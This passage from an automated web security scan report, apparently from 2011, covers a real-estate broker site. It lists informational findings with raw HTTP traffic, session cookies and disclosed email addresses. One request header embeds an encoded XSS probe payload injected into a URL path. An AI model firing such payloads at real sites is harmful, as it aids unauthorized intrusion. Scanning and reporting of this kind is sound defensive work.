7.6. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/pages/map-search

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js
https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js
https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:22:16 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 14:22:15 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 19709
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...


<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js"></script>
...[SNIP]...
</div>

<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/eluminate.js" ></script>
<script src="https://www.bankofamerica.com/pa/global-assets/external/coremetrics/hp/cmdatatagutils.js"></script>
...[SNIP]...

8. Email addresses disclosed previous next
There are 6 instances of this issue:

/
/api/GetBrandingInfo
/listing/searchhandler.aspx
/pages/a
/pages/existing-homes
/pages/map-search

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

8.1. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/

Issue detail

The following email addresses were disclosed in the response:

heritage.services@verizon.net
mail-rec@fnistools.com
sellstate@sellstate.com

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 15:26:47 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: ListingSearch-383363=e42e54a8-5886-4eeb-9fa4-2350fdb759f5; path=/
Set-Cookie: rBW-ListingSearch-383363=e42e54a8-5886-4eeb-9fa4-2350fdb759f5; path=/
Set-Cookie: BrokerOffice_Session=SessionCookie=fa1600f0-fbfe-4413-a92c-42294e063817; expires=Mon, 23-Aug-2021 15:26:47 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 41550
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<meta content="sellstate@sellstate.com" name="reply-to" />
...[SNIP]...
<a href="mailto:heritage.services@verizon.net">heritage.services@verizon.net</a>
...[SNIP]...
<a name="bottomNavTop_mailto_contact_me" href="mailto:mail-rec@fnistools.com" name="bottom_nav_contact_me" id="spamtrap">
...[SNIP]...

8.2. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/api/GetBrandingInfo previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/api/GetBrandingInfo

Issue detail

The following email address was disclosed in the response:

heritage.services@verizon.net

Request

GET /api/GetBrandingInfo?websiteID=383363 HTTP/1.1
Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Proxy-Connection: keep-alive
Referer: http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/existing-homes
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Content-Type: application/json; charset=utf-8
Accept: application/json, text/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMAVID=70051313543214176105553; cmTPSet=Y; bacDomain=true; owid=383363; rBW-PreferredBrokerWebsiteUrl=century21heritagerealtyassociates-75976.lps.preferredbrokersite.com; rBW-CustomerWebsiteVisit=eae1bbe2-94e7-45c8-bd29-d9725fa5b758; rBW-PublicWebsiteID=383363; BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; cmRS=&t1=1314109340677&t2=1314109342692&t3=1314109427968&lti=1314109427968&ln=continue_your_search&hr=javascript%3AonContinue%28%29&fti=&fn=&ac=&fd=&uer=&fu=&pi=MHE%3ATool%3AREC%3BBroker_Notice&ho=testdata.coremetrics.com/cm%3F&ci=60010394

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:23:29 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Cache-Control: private
Content-Type: application/json; charset=utf-8
Content-Length: 441

{"Name":"CENTURY 21 HERITAGE REALTY ASSOCIATES","EmailAddress":"heritage.services@verizon.net","PhoneNumber":"9784633100","StreetAddress":"10 Prince Place","City":"Newburyport","State":"MA","ZipCode":"01950","ImageUrl":"/images/uploads/offices/255936/255936.gif","MidLat":42.113765716552734,"Mi
...[SNIP]...

8.3. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/listing/searchhandler.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/listing/searchhandler.aspx

Issue detail

The following email addresses were disclosed in the response:

heritage.services@verizon.net
sellstate@sellstate.com

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:22:25 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: CustomerWebsiteVisit=eae1bbe2-94e7-45c8-bd29-d9725fa5b758; expires=Thu, 22-Sep-2011 14:22:24 GMT; path=/
Set-Cookie: rBW-PreferredBrokerWebsiteUrl=century21heritagerealtyassociates-75976.lps.preferredbrokersite.com; path=/
Set-Cookie: rBW-CustomerWebsiteVisit=eae1bbe2-94e7-45c8-bd29-d9725fa5b758; expires=Thu, 22-Sep-2011 14:22:25 GMT; path=/
Set-Cookie: rBW-PublicWebsiteID=383363; path=/
Set-Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 14:22:25 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11263
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
<meta content="sellstate@sellstate.com" name="reply-to" />
...[SNIP]...
minInteriorSqFt: '3000',
maxInteriorSqFt: 'Maximum',
brandingInfo: {"Name":"CENTURY 21 HERITAGE REALTY ASSOCIATES","EmailAddress":"heritage.services@verizon.net","PhoneNumber":"9784633100","StreetAddress":"10 Prince Place","City":"Newburyport","State":"MA","ZipCode":"01950","ImageUrl":"/images/uploads/offices/255936/255936.gif","MidLat":42.113765716552734,"Mi
...[SNIP]...
minInteriorSqFt: '3000',
maxInteriorSqFt: 'Maximum',
brandingInfo: {"Name":"CENTURY 21 HERITAGE REALTY ASSOCIATES","EmailAddress":"heritage.services@verizon.net","PhoneNumber":"9784633100","StreetAddress":"10 Prince Place","City":"Newburyport","State":"MA","ZipCode":"01950","ImageUrl":"/images/uploads/offices/255936/255936.gif","MidLat":42.113765716552734,"Mi
...[SNIP]...

8.4. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/pages/a

Issue detail

The following email addresses were disclosed in the response:

mail-rec@fnistools.com
sellstate@sellstate.com

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 15:26:49 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 15:26:49 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 16446
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<meta content="sellstate@sellstate.com" name="reply-to" />
...[SNIP]...
<a name="bottomNavTop_mailto_contact_me" href="mailto:mail-rec@fnistools.com" name="bottom_nav_contact_me" id="spamtrap">
...[SNIP]...

8.5. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/existing-homes previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/pages/existing-homes

Issue detail

The following email addresses were disclosed in the response:

mail-rec@fnistools.com
mikebowman@century21.com
sellstate@sellstate.com

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:22:24 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: rBW-ListingSearch-383363=8166dd92-a14c-41c8-8b4b-0aa4e0128a1b; path=/
Set-Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 14:22:24 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 38798
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<meta content="sellstate@sellstate.com" name="reply-to" />
...[SNIP]...
<a href="JavaScript:;">mikebowman@century21.com</a>
...[SNIP]...
<a name="bottomNavTop_mailto_contact_me" href="mailto:mail-rec@fnistools.com" name="bottom_nav_contact_me" id="spamtrap">
...[SNIP]...

8.6. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-search previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/pages/map-search

Issue detail

The following email addresses were disclosed in the response:

mail-rec@fnistools.com
sellstate@sellstate.com

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:22:16 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 14:22:15 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 19709
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<meta content="sellstate@sellstate.com" name="reply-to" />
...[SNIP]...
<a name="bottomNavTop_mailto_contact_me" href="mailto:mail-rec@fnistools.com" name="bottom_nav_contact_me" id="spamtrap">
...[SNIP]...

9. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/Listing/Search.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: application/json; charset=utf-8

The response states that it contains JSON. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /Listing/Search.aspx?op=GetWebsiteIdByNativeId&nativeId= HTTP/1.1
Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Referer: http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-searchd8910%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%2528document.location%2529%253e6c4743bf3e973b840?AddressGoto=&Criteria%2FListingNumber=&Criteria%2FListingTypeID=&Criteria%2FLocation=02110&Criteria%2FLocationType=Zip+Code&Criteria%2FMaxPrice=900000&Criteria%2FMaxSquareFootage=Maximum&Criteria%2FMinBathrooms=3&Criteria%2FMinBedrooms=3&Criteria%2FMinPrice=600000&Criteria%2FSearchType=&Criteria%2FSquareFootage=3000&SearchTab=&TabsMode=&NewHomesSessionId=&BankOwnedHomesSessionId=&Partner=eh&ShowDisclaimer=1&WebsiteID=383363
Cookie: owid=383363; CMAVID=none

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 15:26:34 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Cache-Control: private
Content-Type: application/json; charset=utf-8
Content-Length: 6

-32768

Report generated by XSS.CX at Tue Aug 23 09:31:28 GMT-06:00 2011.